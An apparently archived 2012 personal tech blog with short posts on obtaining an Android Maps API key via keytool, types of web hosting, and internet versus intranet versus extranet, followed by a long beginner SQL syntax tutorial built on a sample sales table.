Tive2012

Map api key for android

2012-03-20T09:52:00.000-07:00

Step:1 Go to Run and Type cmd

Step:2 Go to Path at (.android) folder.

Step:3 Now type command
kaytool -list -alias androiddebugkey -keystore debug.keystore -storepass android -keypass android

Step:4 You will get MD5 Certificate fingerprint.

Step:5 Now go to http://code.google. com/android/maps-api-signup.html
and past MD5 key.

Step:6 Login with Google account and you will get map api key for android device.

what is WEB HOSTING?

2012-03-15T07:14:00.000-07:00

WEB HOSTING
A web hosting service is a type of Internet hosting service that allows individuals and organizations to provide their own website accessible via the World Wide Web. Web hosts are companies that provide space on a server they own or lease for use by their clients as well as providing Internet connectivity, typically in a data center. Web hosts can also provide data center space and connectivity to the Internet for servers theydo not own to be located in their data center.

TYPES OF WEB HOSTING
· Free web hosting service: Free web hosting is offered by different companies with limited services, sometimes advertisement-supported web hosting, and is often limited when compared to pay hosting.
· Shared web hosting service: one's Web site is placed on the same server as many other sites, ranging from a few to hundreds or thousands.

Typically, all domains may share a common pool of server resources, such as RAM and the CPU. The features available with this type of service can be quite extensive. A shared website may be hosted with a reseller.
· Reseller web hosting: allows clients to become web hosts themselves. Resellers could function, for individual domains, under any combination of these listed types of hosting, depending on who they are affiliated with as a provider. Resellers' accounts may vary tremendously in size: they
may have their own virtual dedicated server to a collocated server. Many resellers provide a nearly identical service to their provider's shared hosting plan and provide the technical support themselves.
· Virtual Dedicated Server: also known as a Virtual Private Server (VPS for short) divides server resources into virtual servers, where resources can be allocated in a way that does not directly reflect the underlying hardware. VPS will often be allocated resources based on a one server to many VPSs relationship, however virtualisation may be done for a number of reasons, including the ability to move a VPS container between servers. The users may have root access to their own
virtual space. This is also known as a virtual private server or VPS. Customers are sometimes responsible for patching and maintaining the server.
· Dedicated hosting service: the user gets his or her own Web server and gains full control over it (root access for Linux/administrator access for Windows); however, the user typically does not own the server. Another type of Dedicated hosting is Self-Managed or Unmanaged. This is usually the least expensive for Dedicated plans. The user has full administrative access to the box, which means the client is responsible for the security and maintenance of his own dedicated box.
· Managed hosting service: the user gets his or her own Web server but is not allowed full control over it (root access for Linux/administrator access for Windows); however, they are allowed to manage their data via FTP or other remote management tools. The user is disallowed full control so that the provider can guarantee quality of service by not allowing the user to modify the server or potentially create configuration problems. The user typically does not own the server. The server is leased to the client.
· Cloud hosting: is a new type of hosting platform that allows customers powerful, scalable and reliable hosting based on clustered load-balanced servers and utility billing. Removing single-point of failures and allowing customers to pay for only what they use versus what they could use.
· Clustered hosting: having multiple servers hosting the same content forbetter resource utilization. Clustered Servers are a perfect solution for high-availability dedicated hosting, or creating a scalable web hosting solution. A cluster may separate web serving from database hosting capability.
· Grid hosting: this form of distributed hosting is when a server cluster acts like a grid and is composed of multiple nodes.
· Home server: usually a single machine placed in a private residence can be used to host one or more web sites from a usually consumer-grade broadband connection. These can be purpose-built machines or more commonly old PCs. Some ISPs actively attempt to block home servers by
disallowing incoming requests to TCP port 80 of the user's connection and by refusing to provide static IP addresses. A common way to attain a reliable DNS hostname is by creating an account with a dynamic DNS service. A dynamic DNS service will automatically change the IP address
that a URL points to when the IP address changes.

Internet,Intranet,Extranet

2012-03-15T07:07:00.000-07:00

Internet - The Internet is a huge public forum which is ideally suited for
marketing, real-time commerce, delivery of technical support
information, contact information and the posting of other “public”
resources.

Intranet - Intranet functions much like the Internet except the content is
not available to the public. Information such as company memos,
employee handbooks and company databases may be made available on
an intranet to those who have password access.

Extranet - Extranets are similar to intranet except that the information is
proprietary to a specific outside audience. For example, a company’s
dealers might have access to technical or pricing information which is not
available to the general public.

SQL Syntax

2012-03-15T06:45:00.000-07:00

Select
SELECT "column_name" FROM "table_name"
Distinct
SELECT DISTINCT "column_name"
FROM "table_name"
Where
SELECT "column_name"
FROM "table_name"
WHERE "condition"

And/Or
SELECT "column_name"
FROM "table_name"
WHERE "simple condition"
{[AND|OR] "simple condition"}+
In
SELECT "column_name"
FROM "table_name"
WHERE "column_name" IN ('value1', 'value2', ...)
Between
SELECT "column_name"
FROM "table_name"
WHERE "column_name" BETWEEN 'value1' AND 'value2'
Like
SELECT "column_name"
FROM "table_name"
WHERE "column_name" LIKE {PATTERN}
Order By
SELECT "column_name"
FROM "table_name"
[WHERE "condition"]
ORDER BY "column_name" [ASC, DESC]
Count
SELECT COUNT("column_name")
FROM "table_name"
Group By
SELECT "column_name1", SUM("column_name2")
FROM "table_name"
GROUP BY "column_name1"
Having
SELECT "column_name1", SUM("column_name2")
FROM "table_name"
GROUP BY "column_name1"
HAVING (arithematic function condition)
Create Table
CREATE TABLE "table_name"
("column 1" "data_type_for_column_1",
"column 2" "data_type_for_column_2",
... )
Drop Table
DROP TABLE "table_name"
Truncate Table
TRUNCATE TABLE "table_name"
Insert Into
INSERT INTO "table_name" ("column1", "column2", ...)
VALUES ("value1", "value2", ...)
Update
UPDATE "table_name"
SET "column_1" = [new value]
WHERE {condition}
Delete From
DELETE FROM "table_name"
WHERE {condition}

SQL SELECT

SELECT "column_name" FROM "table_name"
To illustrate the above example, assume that we have the following table:
Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
Los Angeles	$300	Jan-08-1999
Boston	$700	Jan-08-1999

To select all the stores in this table, we key in,
SELECT store_name FROM Store_Information

Result:

store_name

Los Angeles

San Diego

Los Angeles

Boston

SQL DISTINCT

The SELECT keyword allows us to grab all information from a column (or columns) on a table. This, of course, necessarily mean that there will be redundencies. What if we only want to select each DISTINCT element? This is easy to accomplish in SQL. All we need to do is to add DISTINCT after SELECT. The syntax is as follows:
SELECT DISTINCT "column_name"
FROM "table_name"
For example, to select all distinct stores in Table Store_Information,
Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
Los Angeles	$300	Jan-08-1999
Boston	$700	Jan-08-1999

we key in,
SELECT DISTINCT store_name FROM Store_Information
Result:

store_name

Los Angeles

San Diego

Boston

SQL WHERE

Next, we might want to conditionally select the data from a table. For example, we may want to only retrieve stores with sales above $1,000. To do this, we use the WHERE keyword. The syntax is as follows:
SELECT "column_name"
FROM "table_name"
WHERE "condition"
For example, to select all stores with sales above $1,000 in Table Store_Information,
Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
Los Angeles	$300	Jan-08-1999
Boston	$700	Jan-08-1999

we key in,
SELECT store_name
FROM Store_Information
WHERE Sales > 1000

Result:

store_name

Los Angeles

SQL AND OR

In the previous section, we have seen that the WHERE keyword can be used to conditionally select data from a table. This condition can be a simple condition (like the one presented in the previous section), or it can be a compound condition. Compound conditions are made up of multiple simple conditions connected by AND or OR. There is no limit to the number of simple conditions that can be present in a single SQL statement.
The syntax for a compound condition is as follows:
SELECT "column_name"
FROM "table_name"
WHERE "simple condition"
{[AND|OR] "simple condition"}+
The {}+ means that the expression inside the bracket will occur one or more times. Note that AND and OR can be used interchangably. In addition, we may use the parenthesis sign () to indicate the order of the condition.
For example, we may wish to select all stores with sales greater than $1,000 or all stores with sales less than $500 but greater than $275 in Table Store_Information,
Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
San Francisco	$300	Jan-08-1999
Boston	$700	Jan-08-1999

we key in,
SELECT store_name
FROM Store_Information
WHERE Sales > 1000
OR (Sales < 500 AND Sales > 275)

Result:

store_name

Los Angeles

San Francisco

SQL IN

In SQL, there are two uses of the IN keyword, and this section introduces the one that is related to the WHERE clause. When used in this context, we know exactly the value of the returned values we want to see for at least one of the columns. The syntax for using the IN keyword is as follows:
SELECT "column_name"
FROM "table_name"
WHERE "column_name" IN ('value1', 'value2', ...)
The number of values in the parenthesis can be one or more, with each values separated by comma. Values can be numerical or characters. If there is only one value inside the parenthesis, this commend is equivalent to
WHERE "column_name" = 'value1'
For example, we may wish to select all records for the Los Angeles and the San Diego stores in Table Store_Information,
Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
San Francisco	$300	Jan-08-1999
Boston	$700	Jan-08-1999

we key in,
SELECT *
FROM Store_Information
WHERE store_name IN ('Los Angeles', 'San Diego')

Result:

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999

SQL BETWEEN

Whereas the IN keyword help people to limit the selection criteria to one or more discrete values, the BETWEEN keyword allows for selecting a range. The syntax for the BETWEEN clause is as follows:
SELECT "column_name"
FROM "table_name"
WHERE "column_name" BETWEEN 'value1' AND 'value2'
This will select all rows whose column has a value between 'value1' and 'value2'.
For example, we may wish to select view all sales information between January 6, 1999, and January 10, 1999, in Table Store_Information,
Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
San Francisco	$300	Jan-08-1999
Boston	$700	Jan-08-1999

we key in,
SELECT *
FROM Store_Information
WHERE Date BETWEEN 'Jan-06-1999' AND 'Jan-10-1999'
Note that date may be stored in different formats in different databases. This tutorial simply choose one of the formats.
Result:

store_name	Sales	Date
San Diego	$250	Jan-07-1999
San Francisco	$300	Jan-08-1999
Boston	$700	Jan-08-1999

SQL LIKE

LIKE is another keyword that is used in the WHERE clause. Basically, LIKE allows you to do a search based on a pattern rather than specifying exactly what is desired (as in IN) or spell out a range (as in BETWEEN). The syntax for is as follows:
SELECT "column_name"
FROM "table_name"
WHERE "column_name" LIKE {PATTERN}
{PATTERN} often consists of wildcards. Here are some examples:

 'A_Z': All string that starts with 'A', another character, and end with 'Z'. For example, 'ABZ' and 'A2Z' would both satisfy the condition, while 'AKKZ' would not (because there are two characters between A and Z instead of one).

 'ABC%': All strings that start with 'ABC'. For example, 'ABCD' and 'ABCABC' would both satisfy the condition.

 '%XYZ': All strings that end with 'XYZ'. For example, 'WXYZ' and 'ZZXYZ' would both satisfy the condition.

 '%AN%': All string that contain the pattern 'AN' anywhere. For example, 'LOS ANGELES' and 'SAN FRANCISCO' would both satisfy the condition.

Let's use this last example on our Store_Information table:
Table Store_Information

store_name	Sales	Date
LOS ANGELES	$1500	Jan-05-1999
SAN DIEGO	$250	Jan-07-1999
SAN FRANCISCO	$300	Jan-08-1999
BOSTON	$700	Jan-08-1999

we key in,
SELECT *
FROM Store_Information
WHERE store_name LIKE '%AN%'

Result:

store_name	Sales	Date
LOS ANGELES	$1500	Jan-05-1999
SAN FRANCISCO	$300	Jan-08-1999
SAN DIEGO	$250	Jan-07-1999

SQL ORDER BY

So far, we have seen how to get data out of a table using SELECT and WHERE commands. Often, however, we need to list the output in a particular order. This could be in ascending order, in descending order, or could be based on either numerical value or text value. In such cases, we can use the ORDER BY keyword to achieve our goal.
The syntax for an ORDER BY statement is as follows:
SELECT "column_name"
FROM "table_name"
[WHERE "condition"]
ORDER BY "column_name" [ASC, DESC]
The [] means that the WHERE statement is optional. However, if a WHERE clause exists, it comes before the ORDER BY clause. ASC means that the results will be shown in ascending order, and DESC means that the results will be shown in descending order. If neither is specified, the default is ASC.
It is possible to order by more than one column. In this case, the ORDER BY clause above becomes
ORDER BY "column_name1" [ASC, DESC], "column_name2" [ASC, DESC]
Assuming that we choose ascending order for both columns, the output will be ordered in ascending order according to column 1. If there is a tie for the value of column 1, we the sort in ascending order by column 2.
For example, we may wish to list the contents of Table Store_Information by dollar amount, in descending order:
Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
San Francisco	$300	Jan-08-1999
Boston	$700	Jan-08-1999

we key in,
SELECT store_name, Sales, Date
FROM Store_Information
ORDER BY Sales DESC

Result:

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
Boston	$700	Jan-08-1999
San Francisco	$300	Jan-08-1999
San Diego	$250	Jan-07-1999

In addition to column name, we may also use column position (based on the SQL query) to indicate which column we want to apply the ORDER BY clause. The first column is 1, second column is 2, and so on. In the above example, we will achieve the same results by the following command:
SELECT store_name, Sales, Date
FROM Store_Information
ORDER BY 2 DESC

SQL Functions

Since we have started dealing with numbers, the next natural question to ask is if it is possible to do math on those numbers, such as summing them up or taking their average. The answer is yes! SQL has several arithematic functions, and they are:

AVG
COUNT
MAX
MIN
SUM

The syntax for using functions is,
SELECT "function type"("column_name")
FROM "table_name"
For example, if we want to get the sum of all sales from our example table,
Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
Los Angeles	$300	Jan-08-1999
Boston	$700	Jan-08-1999

we would type in
SELECT SUM(Sales) FROM Store_Information

Result:

SUM(Sales)

$2750

$2750 represents the sum of all Sales entries: $1500 + $250 + $300 + $700.
In addition to using functions, it is also possible to use SQL to perform simple tasks such as addition (+) and subtraction (-). For character-type data, there are also several string functions available, such as concatenation, trim, and substring functions. Different RDBMS vendors have different string functions implementations, and it is best to consult the references for your RDBMS to see how these functions are used.

SQL COUNT

Another arithematic function is COUNT. This allows us to COUNT up the number of row in a certain table. The syntax is,
SELECT COUNT("column_name")
FROM "table_name"
For example, if we want to find the number of store entries in our table,
Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
Los Angeles	$300	Jan-08-1999
Boston	$700	Jan-08-1999

we'd key in
SELECT COUNT(store_name)
FROM Store_Information
Result:

Count(store_name)

COUNT and DISTINCT can be used together in a statement to fetch the number of distinct entries in a table. For example, if we want to find out the number of distinct stores, we'd type,
SELECT COUNT(DISTINCT store_name)
FROM Store_Information
Result:

Count(DISTINCT store_name)

SQL GROUP BY

Now we return to the aggregate functions. Remember we used the SUM keyword to calculate the total sales for all stores? What if we want to calculate the total sales for each store? Well, we need to do two things: First, we need to make sure we select the store name as well as total sales. Second, we need to make sure that all the sales figures are grouped by stores. The corresponding SQL syntax is,
SELECT "column_name1", SUM("column_name2")
FROM "table_name"
GROUP BY "column_name1"
In our example, table Store_Information,
Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
Los Angeles	$300	Jan-08-1999
Boston	$700	Jan-08-1999

we would key in,
SELECT store_name, SUM(Sales)
FROM Store_Information
GROUP BY store_name
Result:

store_name	SUM(Sales)
Los Angeles	$1800
San Diego	$250
Boston	$700

The GROUP BY keyword is used when we are selecting multiple columns from a table (or tables) and at least one arithematic operator appears in the SELECT statement. When that happens, we need to GROUP BY all the other selected columns, i.e., all columns except the one(s) operated on by the arithematic operator.

SQL HAVING

Another thing people may want to do is to limit the output based on the corresponding sum (or any other aggregate functions). For example, we might want to see only the stores with sales over $1,500. Instead of using the WHERE clause in the SQL statement, though, we need to use the HAVING clause, which is reserved for aggregate functions. The HAVING clause is typically placed near the end of the SQL statement, and a SQL statement with the HAVING clause may or may not include the GROUP BY clause. The syntax for HAVING is,
SELECT "column_name1", SUM("column_name2")
FROM "table_name"
GROUP BY "column_name1"
HAVING (arithematic function condition)
Note: the GROUP BY clause is optional.
In our example, table Store_Information,
Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
Los Angeles	$300	Jan-08-1999
Boston	$700	Jan-08-1999

we would type,
SELECT store_name, SUM(sales)
FROM Store_Information
GROUP BY store_name
HAVING SUM(sales) > 1500
Result:

store_name	SUM(Sales)
Los Angeles	$1800

SQL ALIAS

We next focus on the use of aliases. There are two types of aliases that are used most frequently: column alias and table alias.
In short, column aliases exist to help organizing output. In the previous example, whenever we see total sales, it is listed as SUM(sales). While this is comprehensible, we can envision cases where the column heading can be complicated (especially if it involves several arithmetic operations). Using a column alias would greatly make the output much more readable.
The second type of alias is the table alias. This is accomplished by putting an alias directly after the table name in the FROM clause. This is convenient when you want to obtain information from two separate tables (the technical term is 'perform joins'). The advantage of using a table alias when doing joins is readily apparent when we talk about joins.
Before we get into joins, though, let's look at the syntax for both the column and table aliases:
SELECT "table_alias"."column_name1" "column_alias"
FROM "table_name" "table_alias"
Briefly, both types of aliases are placed directly after the item they alias for, separate by a white space. We again use our table, Store_Information,
Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
Los Angeles	$300	Jan-08-1999
Boston	$700	Jan-08-1999

We use the same example as that in the SQL GROUP BY section, except that we have put in both the column alias and the table alias:
SELECT A1.store_name Store, SUM(A1.Sales) "Total Sales"
FROM Store_Information A1
GROUP BY A1.store_name

Result:

Store	Total Sales
Los Angeles	$1800
San Diego	$250
Boston	$700

Notice that difference in the result: the column titles are now different. That is the result of using the column alias. Notice that instead of the somewhat cryptic "Sum(Sales)", we now have "Total Sales", which is much more understandable, as the column header. The advantage of using a table alias is not apparent in this example. However, they will become evident in the next section.

SQL Join

Now we want to look at joins. To do joins correctly in SQL requires many of the elements we have introduced so far. Let's assume that we have the following two tables,

Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
Los Angeles	$300	Jan-08-1999
Boston	$700	Jan-08-1999

Table Geography

region_name	store_name
East	Boston
East	New York
West	Los Angeles
West	San Diego

and we want to find out sales by region. We see that table Geography includes information on regions and stores, and table Store_Information contains sales information for each store. To get the sales information by region, we have to combine the information from the two tables. Examining the two tables, we find that they are linked via the common field, "store_name". We will first present the SQL statement and explain the use of each segment later:
SELECT A1.region_name REGION, SUM(A2.Sales) SALES
FROM Geography A1, Store_Information A2
WHERE A1.store_name = A2.store_name
GROUP BY A1.region_name
Result:

REGION	SALES
East	$700
West	$2050

The first two lines tell SQL to select two fields, the first one is the field "region_name" from table Geography (aliased as REGION), and the second one is the sum of the field "Sales" from table Store_Information (aliased as SALES). Notice how the table aliases are used here: Geography is aliased as A1, and Store_Information is aliased as A2. Without the aliasing, the first line would become
SELECT Geography.region_name REGION, SUM(Store_Information.Sales) SALES
which is much more cumbersome. In essence, table aliases make the entire SQL statement easier to understand, especially when multiple tables are included.
Next, we turn our attention to line 3, the WHERE statement. This is where the condition of the join is specified. In this case, we want to make sure that the content in "store_name" in table Geography matches that in table Store_Information, and the way to do it is to set them equal. This WHERE statement is essential in making sure you get the correct output. Without the correct WHERE statement, a Cartesian Join will result. Cartesian joins will result in the query returning every possible combination of the two (or whatever the number of tables in the FROM statement) tables. In this case, a Cartesian join would result in a total of 4 x 4 = 16 rows being returned.

SQL Outer Join

Previously, we had looked at left join, or inner join, where we select rows common to the participating tables to a join. What about the cases where we are interested in selecting elements in a table regardless of whether they are present in the second table? We will now need to use the SQL OUTER JOIN command.
The syntax for performing an outer join in SQL is database-dependent. For example, in Oracle, we will place an "(+)" in the WHERE cluase on the other side of the table for which we want to include all the rows.
Let's assume that we have the following two tables,

Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
Los Angeles	$300	Jan-08-1999
Boston	$700	Jan-08-1999

Table Geography

region_name	store_name
East	Boston
East	New York
West	Los Angeles
West	San Diego

and we want to find out the sales amount for all of the stores. If we do a regular join, we will not be able to get what we want because we will have missed 'New York', since it does not appear in the Store_Information table. Therefore, we need to perform an outer join on the two tables above:
SELECT A1.store_name, SUM(A2.Sales) SALES
FROM Georgraphy A1, Store_Information A2
WHERE A1.store_name = A2.store_name (+)
GROUP BY A1.store_name
Note that in this case, we are using the Oracle syntax for outer join.

Result:

store_name	SALES
Boston	$700
New York
Los Angeles	$1800
San Diego	$250

Note: NULL is returned when there is no match on the second table. In this case, "New York" does not appear in the table Store_Information, thus its corresponding "SALES" column is NULL.

SQL Subquery

It is possible to embed a SQL statement within another. When this is done on the WHERE or the HAVING statements, we have a subquery construct. What is subquery useful for? First, it can also be used to join tables. Also, there are cases where the only way to correlate two tables is through a subquery.
The syntax is as follows:
SELECT "column_name1"
FROM "table_name"
WHERE "column_name2" [Comparison Operator]
(SELECT "column_name1"
FROM "table_name"
WHERE [Condition])
[Comparison Operator] could be equality operators such as =, >, <, >=, <=. It can also be a text operator such as "LIKE."
Let's use the same example as we did to illustrate SQL joins:

Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
Los Angeles	$300	Jan-08-1999
Boston	$700	Jan-08-1999

Table Geography

region_name	store_name
East	Boston
East	New York
West	Los Angeles
West	San Diego

and we want to use a subquery to find the sales of all stores in the West region. To do so, we use the following SQL statement:
SELECT SUM(Sales) FROM Store_Information
WHERE Store_name IN
(SELECT store_name FROM Geography
WHERE region_name = 'West')
Result:

SUM(Sales)

2050

In this example, instead of joining the two tables directly and then adding up only the sales amount for stores in the West region, we first use the subquery to find out which stores are in the West region, and then we sum up the sales amount for these stores.

SQL Union

The purpose of the SQL UNION command is to combine the results of two queries together. In this respect, UNION is somewhat similar to JOIN in that they are both used to related information from multiple tables. One restriction of UNION is that all corresponding columns need to be of the same data type. Also, when using UNION, only distinct values are selected (similar to SELECT DISTINCT).
The syntax is as follows:
[SQL Statement 1]
UNION
[SQL Statement 2]
Let's assume that we have the following two tables,

Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
Los Angeles	$300	Jan-08-1999
Boston	$700	Jan-08-1999

Table Internet Sales

Date	Sales
Jan-07-1999	$250
Jan-10-1999	$535
Jan-11-1999	$320
Jan-12-1999	$750

and we want to find out all the dates where there is a sales transaction. To do so, we use the following SQL statement:
SELECT Date FROM Store_Information
UNION
SELECT Date FROM Internet_Sales

Result:

Date

Jan-05-1999

Jan-07-1999

Jan-08-1999

Jan-10-1999

Jan-11-1999

Jan-12-1999

Please note that if we type "SELECT DISTINCT Date" for either or both of the SQL statement, we will get the same result set.

SQL Union All

The purpose of the SQL UNION ALL command is also to combine the results of two queries together. The difference between UNION ALL and UNION is that, while UNION only selects distinct values, UNION ALL selects all values.
The syntax for UNION ALL is as follows:
[SQL Statement 1]
UNION ALL
[SQL Statement 2]
Let's use the same example as the previous section to illustrate the difference. Assume that we have the following two tables,

Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
Los Angeles	$300	Jan-08-1999
Boston	$700	Jan-08-1999

Table Internet Sales

Date	Sales
Jan-07-1999	$250
Jan-10-1999	$535
Jan-11-1999	$320
Jan-12-1999	$750

and we want to find out all the dates where there is a sales transaction. To do so, we use the following SQL statement:
SELECT Date FROM Store_Information
UNION ALL
SELECT Date FROM Internet_Sales

Result:

Date

Jan-05-1999

Jan-07-1999

Jan-08-1999

Jan-07-1999

Jan-10-1999

Jan-11-1999

Jan-12-1999

SQL Intersect

Similar to the UNION command, INTERSECT also operates on two SQL statements. The difference is that, while UNION essentially acts as an OR operator (value is selected if it appears in either the first or the second statement), the INTERSECT command acts as an AND operator (value is selected only if it appears in both statements).
The syntax is as follows:
[SQL Statement 1]
INTERSECT
[SQL Statement 2]

Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
Los Angeles	$300	Jan-08-1999
Boston	$700	Jan-08-1999

Table Internet Sales

Date	Sales
Jan-07-1999	$250
Jan-10-1999	$535
Jan-11-1999	$320
Jan-12-1999	$750

SELECT Date FROM Store_Information
INTERSECT
SELECT Date FROM Internet_Sales
Result:

Date

Jan-07-1999

Please note that the INTERSECT command will only return distinct values.

SQL Minus

The MINUS operates on two SQL statements. It takes all the results from the first SQL statement, and then subtract out the ones that are present in the second SQL statement to get the final answer. If the second SQL statement includes results not present in the first SQL statement, such results are ignored.
The syntax is as follows:
[SQL Statement 1]
MINUS
[SQL Statement 2]
Let's continue with the same example:

Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
Los Angeles	$300	Jan-08-1999
Boston	$700	Jan-08-1999

Table Internet Sales

Date	Sales
Jan-07-1999	$250
Jan-10-1999	$535
Jan-11-1999	$320
Jan-12-1999	$750

and we want to find out all the dates where there are store sales, but no internet sales. To do so, we use the following SQL statement:
SELECT Date FROM Store_Information
MINUS
SELECT Date FROM Internet_Sales
Result:

Date

Jan-05-1999

Jan-08-1999

"Jan-05-1999", "Jan-07-1999", and "Jan-08-1999" are the distinct values returned from "SELECT Date FROM Store_Information." "Jan-07-1999" is also returned from the second SQL statement, "SELECT Date FROM Internet_Sales," so it is excluded from the final result set.
Please note that the MINUS command will only return distinct values.

SQL CREATE TABLE

Tables are the basic structure where data is stored in the database. Given that in most cases, there is no way for the database vendor to know ahead of time what your data storage needs are, chances are that you will need to create tables in the database yourself. Many database tools allow you to create tables without writing SQL, but given that table is the container of all the data, it is important to include the CREATE TABLE syntax in this tutorial.
Before we dive into the SQL syntax for CREATE TABLE, it is a good idea to understand what goes into a table. Tables are divided into rows and columns. Each row represents one piece of data, and each column can be thought of as representing a component of that piece of data. So, for example, if we have a table for recording customer information, then the columns may include information such as First Name, Last Name, Address, City, Country, Birth Date, and so on. As a result, when we specify a table, we include the column headers and the data types for that particular column.
So what are data types? Typically, data comes in a variety of forms. It could be an integer (such as 1), a real number (such as 0.55), a string (such as 'sql'), a date/time expression (such as '2000-JAN-25 03:22:22'), or even in binary format. When we specify a table, we need to specify the data type associated with each column (i.e., we will specify that 'First Name' is of type char(50) - meaning it is a string with 50 characters). One thing to note is that different relational databases allow for different data types, so it is wise to consult with a database-specific reference first.
The SQL syntax for CREATE TABLE is
CREATE TABLE "table_name"
("column 1" "data_type_for_column_1",
"column 2" "data_type_for_column_2",
... )
So, if we are to create the customer table specified as above, we may type in
CREATE TABLE customer
(First_Name char(50),
Last_Name char(50),
Address char(50),
City char(50),
Country char(25),
Birth_Date date)

SQL DROP TABLE

Sometimes we may decide that we need to get rid of a table in the database for some reason. In fact, it would be problematic if we cannot do so because this could create a maintenance nightmare for the DBA's. Fortunately, SQL allows us to do it, as we can use the DROP TABLE command. The syntax for DROP TABLE is
DROP TABLE "table_name"
So, if we wanted to drop the table called customer that we created in the last section, we simply type
DROP TABLE customer.

SQL TRUNCATE TABLE

Sometimes we wish to get rid of all the data in a table. One way of doing this is with DROP TABLE, which we saw in the last section. But what if we wish to simply get rid of the data but not the table itself? For this, we can use the TRUNCATE TABLE command. The syntax for TRUNCATE TABLE is
TRUNCATE TABLE "table_name"
So, if we wanted to truncate the table called customer that we created in SQL CREATE, we simply type
TRUNCATE TABLE customer.

SQL INSERT INTO

In the previous sections, we have seen how to retrieve information from tables. But how do these rows of data get into these tables in the first place? This is what this section, covering the INSERT statement, and next section, covering tbe UPDATE statement, are about.
There are essentially basically two ways to INSERT data into a table. One is to insert it one row at a time, and the other is to insert multiple rows at a time. Let's first look at how we may INSERT data one row at a time:
The syntax for inserting data into a table one row at a time is as follows:
INSERT INTO "table_name" ("column1", "column2", ...)
VALUES ("value1", "value2", ...)
Assuming that we have a table that has the following structure,
Table Store_Information

Column Name	Data Type
store_name	char(50)
Sales	float
Date	datetime

and now we wish to insert one additional row into the table representing the sales data for Los Angeles on January 10, 1999. On that day, this store had $900 in sales. We will hence use the following SQL script:
INSERT INTO Store_Information (store_name, Sales, Date)
VALUES ('Los Angeles', 900, 'Jan-10-1999')
The second type of INSERT INTO allows us to insert multiple rows into a table. Unlike the previous example, where we insert a single row by specifying its values for all columns, we now use a SELECT statement to specify the data that we want to insert into the table. If you are thinking whether this means that you are using information from another table, you are correct. The syntax is as follows:
INSERT INTO "table1" ("column1", "column2", ...)
SELECT "column3", "column4", ...
FROM "table2"
Note that this is the simplest form. The entire statement can easily contain WHERE, GROUP BY, and HAVING clauses, as well as including table joins and aliases.
So for example, if we wish to have a table, Store_Information, that collects the sales information for year 1998, and you already know that the source data resides in the Sales_Information table, you'll type in:
INSERT INTO Store_Information (store_name, Sales, Date)
SELECT store_name, Sales, Date
FROM Sales_Information
WHERE Year(Date) = 1998
Here I have used the SQL Server syntax to extract the year information out of a date. Other relational databases will have different syntax. For example, in Oracle, you will use WHERE to_char(date,'yyyy')=1998.

SQL UPDATE

Once we have the information in the table, we might find that there is a need to modify the data. To do so, we can use the UPDATE command. The syntax for this is
UPDATE "table_name"
SET "column_1" = [new value]
WHERE {condition}
It is easiest to use an example. Say we currently have a table as below:
Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
Los Angeles	$300	Jan-08-1999
Boston	$700	Jan-08-1999

We find that the sales for Los Angeles on 01/08/1999 is actually $500 instead of $300, and we need to update that particular entry. To do so, we use the following SQL:
UPDATE Store_Information
SET Sales = 500
WHERE store_name = "Los Angeles"
AND Date = "Jan-08-1999"
The resulting table would look like
Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
Los Angeles	$500	Jan-08-1999
Boston	$700	Jan-08-1999

In this case, there is only one row that satisfies the condition in the WHERE clause. If there are two rows that satisfy the condition, both rows will be modified.

It is also possible to UPDATE multiple columns at the same time. The syntax in this case would look like the following:
UPDATE TABLE "table_name"
SET ("column_1", "column_2") = ([new value 1], [new value 2])
WHERE {condition}

SQL DELETE FROM

Sometimes rather than updating, we wish to get rid of records from the table. To do so, we can use the DELETE FROM command. The syntax for this is
DELETE FROM "table_name"
WHERE {condition}
It is easiest to use an example. Say we currently have a table as below:
Table Store_Information

store_name	Sales	Date
Los Angeles	$1500	Jan-05-1999
San Diego	$250	Jan-07-1999
Los Angeles	$300	Jan-08-1999
Boston	$700	Jan-08-1999

and we decide not to keep any information on Los Angeles in this table. We type the following SQL:
DELETE FROM Store_Information
WHERE store_name = "Los Angeles"
The resulting table would look like
Table Store_Information

store_name	Sales	Date
San Diego	$250	Jan-07-1999
Boston	$700	Jan-08-1999

1. Differences Between Oracle and MS SQL Server

1. Data Types

Data Type	Oracle	MS SQL Server
